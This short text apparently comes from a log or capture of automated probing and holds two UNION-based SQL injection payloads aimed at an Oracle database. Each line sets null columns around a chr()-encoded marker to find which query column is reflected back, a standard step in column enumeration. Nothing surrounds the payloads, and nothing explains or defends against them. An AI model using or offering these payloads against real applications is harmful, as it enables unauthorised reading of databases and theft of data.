s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(54)||chr(54)||chr(50)||chr(56)||chr(55),null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(54)||chr(54)||chr(50)||chr(56)||chr(55),null,null,null,null,null,null,null,null from dual--